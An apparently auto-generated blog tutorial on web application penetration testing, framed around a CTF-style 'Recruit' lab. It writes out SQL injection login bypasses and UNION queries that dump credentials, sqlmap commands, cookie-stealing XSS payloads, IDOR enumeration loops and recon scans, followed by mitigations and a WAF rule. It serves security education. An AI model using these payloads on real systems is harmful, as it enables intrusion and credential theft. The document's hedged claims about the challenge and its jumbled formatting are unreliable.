Web App Penetration Testing Unlocked: Master Manual & Automated Exploitation – Recruit Challenge Deep Dive + Video

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Introduction:

Web application penetration testing is no longer optional—it’s a core defensive strategy in any cybersecurity program. The “Recruit” challenge (rated medium but considered easy by experienced testers) offers a perfect playground to contrast tool‑driven scanning with methodical manual exploitation. Whether you’re using automated agents or crafting custom payloads, understanding both approaches turns a simple CTF into a true learning milestone for aspiring security professionals.

Learning Objectives:

  • Differentiate between automated vulnerability scanning and manual web app testing techniques using real‑world tools.
  • Execute common web attacks (SQLi, XSS, IDOR) on a controlled target like the Recruit challenge.
  • Apply Linux/Windows command-line utilities to enumerate, exploit, and harden web applications.

You Should Know:

  1. Setting Up Your Web Penetration Testing Lab (Linux & Windows)
    Before tackling Recruit or any CTF, isolate your testing environment. On Linux (Kali/Parrot), install core tools:

    sudo apt update && sudo apt install -y nmap dirb gobuster sqlmap curl whatweb

    On Windows, use WSL2 or native tools like `curl.exe` and PowerShell’s Invoke-WebRequest. For a disposable victim, deploy OWASP WebGoat or a TryHackMe room:

    docker run -d -p 8080:8080 webgoat/goatandwolf

Step‑by‑step:

1. Launch your attack machine (VM or host).

2. Verify connectivity to target (e.g., `ping recruit‑target.local`).

  1. Capture the target IP/domain from the challenge description (the Recruit link points to a TryHackMe‑style room).
  2. Always stay inside authorised labs – never scan external production assets.

2. Reconnaissance – Automated vs. Manual Footprinting

Start with passive OSINT and active scanning. Automated approach:

nmap -sV -p- --min-rate 1000 10.10.10.1
gobuster dir -u http://recruit.thm -w /usr/share/wordlists/dirb/common.txt -t 50
whatweb http://recruit.thm

Manual equivalent: browse the site, view source, check robots.txt, and inspect cookies. On the Recruit challenge, the write‑up suggests a hidden admin endpoint discovered via manual link analysis.

Step‑by‑step:

  1. Run `nmap` to find open ports (80, 443, possibly 8080).
  2. Use `curl -I http://recruit.thm` to examine headers (Server, X‑Powered‑By).
  3. Manually navigate to `/sitemap.xml` and `/.git/HEAD` to leak information.
  4. Compare tool output with manual observations – manual often catches logic flaws.

3. Parameter Manipulation with Burp Suite & cURL

Tool‑based fuzzing misses business logic errors. Use Burp Suite Community (free) or cURL for manual tampering. After logging into Recruit’s fake portal, capture a POST request:

POST /login HTTP/1.1
Host: recruit.thm
user=admin&pass=1234

Modify parameters in Repeater (Burp) or via command line:

curl -X POST http://recruit.thm/login -d "user=admin' OR '1'='1&pass=anything"

Step‑by‑step (Manual):

  1. Intercept a request with Burp Proxy (FoxyProxy + CA cert).
  2. Send to Repeater and change `user` to admin' --.
  3. Observe response length – a change indicates SQLi.
  4. Automate similar checks with `ffuf` (tool) but always validate manually first.

  5. Exploiting SQL Injection – From sqlmap to Manual UNION
    The Recruit challenge reportedly contains a SQL injection in a search box. Automated exploitation:

    sqlmap -u "http://recruit.thm/search?q=products" --dbs --batch

    Manual extraction (when sqlmap fails or you want to learn):

    ' UNION SELECT null, username, password FROM users-- -

Step‑by‑step (Manual UNION):

  1. Determine number of columns: `’ ORDER BY 5– -` (increase until error).
  2. Find visible columns: `’ UNION SELECT null,null,null– -` then replace `null` with version(), database().

3. Extract table names from `information_schema.tables`.

  1. Dump credentials – use them to access a higher privilege area (e.g., /admin).

On Windows PowerShell (if testing via web request):

$body = @{ q="products' UNION SELECT username, password FROM users-- -" }
Invoke-RestMethod -Uri http://recruit.thm/search -Method Post -Body $body

5. Reflected & Stored XSS – Bypassing Filters

Most automated scanners detect basic XSS, but manual payload crafting defeats weak WAFs. Recruit’s comment section (manual discovery) accepts:

<img src=x onerror=alert(document.cookie)>

If filtered, try encoding or event handlers:


<

svg/onload=prompt<code>XSS</code>>

Step‑by‑step for Manual XSS:

1. Identify input fields (search, profile, comment).

2. Inject `”>` – watch for HTML encoding.

  1. If blocked, use `javascript:` in `href` or `onmouseover` attributes.
  2. Check stored XSS by reloading the page – the payload should execute every time.

Use Linux `curl` to test reflected XSS automatically:

curl "http://recruit.thm/search?q=<script>alert(1)</script>"
  1. IDOR & Privilege Escalation – Manual Logic Flaws
    Automated tools rarely find Insecure Direct Object References (IDOR). In Recruit, a profile page might use /user?id=1001. Changing to `id=1000` reveals another user’s data.

Manual steps:

  1. Browse to your profile – note the numeric ID in URL or JSON body.
  2. Increment/decrement that parameter while logged in as a low‑privilege user.
  3. If you see different data, you’ve found IDOR.
  4. Combine with SQLi – e.g., `id=1001 UNION SELECT …`

Linux command loop:

for id in {1000..1010}; do curl -s "http://recruit.thm/profile?id=$id" | grep -i "email"; done

On Windows CMD:

for /L %i in (1000,1,1010) do curl -s "http://recruit.thm/profile?id=%i" | findstr email
  1. Hardening & Mitigation (What You Should Apply After Testing)
    Understanding exploits leads to better defence. After compromising the Recruit challenge, implement these patches:

– SQLi prevention: Use parameterised queries (e.g., `PreparedStatement` in Java, `SqlCommand` in .NET).
– XSS mitigation: Output encode with `htmlspecialchars` (PHP) or Content Security Policy (CSP).
– IDOR fix: Implement server‑side access controls – never trust client‑side IDs.
– WAF rule for ModSecurity (Linux):

SecRule ARGS "@rx select.from" "id:100,deny,status:403"

– Windows IIS request filtering: add malicious patterns to UrlScan.ini.

What Undercode Say:

  • Manual testing always finds what automation misses – the Recruit write‑up proves that a human chaining low‑severity issues (disclosure + IDOR) yields critical impact.
  • Tools like sqlmap and Burp are accelerators, not replacements – you must understand the underlying vulnerability to interpret false positives and bypass custom filters.
  • Web app security is a layered exercise – from reconnaissance (nmap/gobuster) to exploitation (SQLi, XSS) to hardening (WAF, parameterised queries). The Recruit challenge, though “easy”, teaches the full kill chain.

Prediction:

By 2027, AI‑augmented pentesting will handle 70% of routine scanning, but manual creativity will remain the differentiator for bypassing advanced WAFs and finding business logic flaws. Platforms like TryHackMe will evolve to inject adversarial AI into their rooms, forcing testers to learn both traditional exploits and AI‑driven evasion. The demand for hybrid skills – automated tool mastery plus manual reasoning – will skyrocket, making challenges like Recruit foundational for any red or blue teamer.

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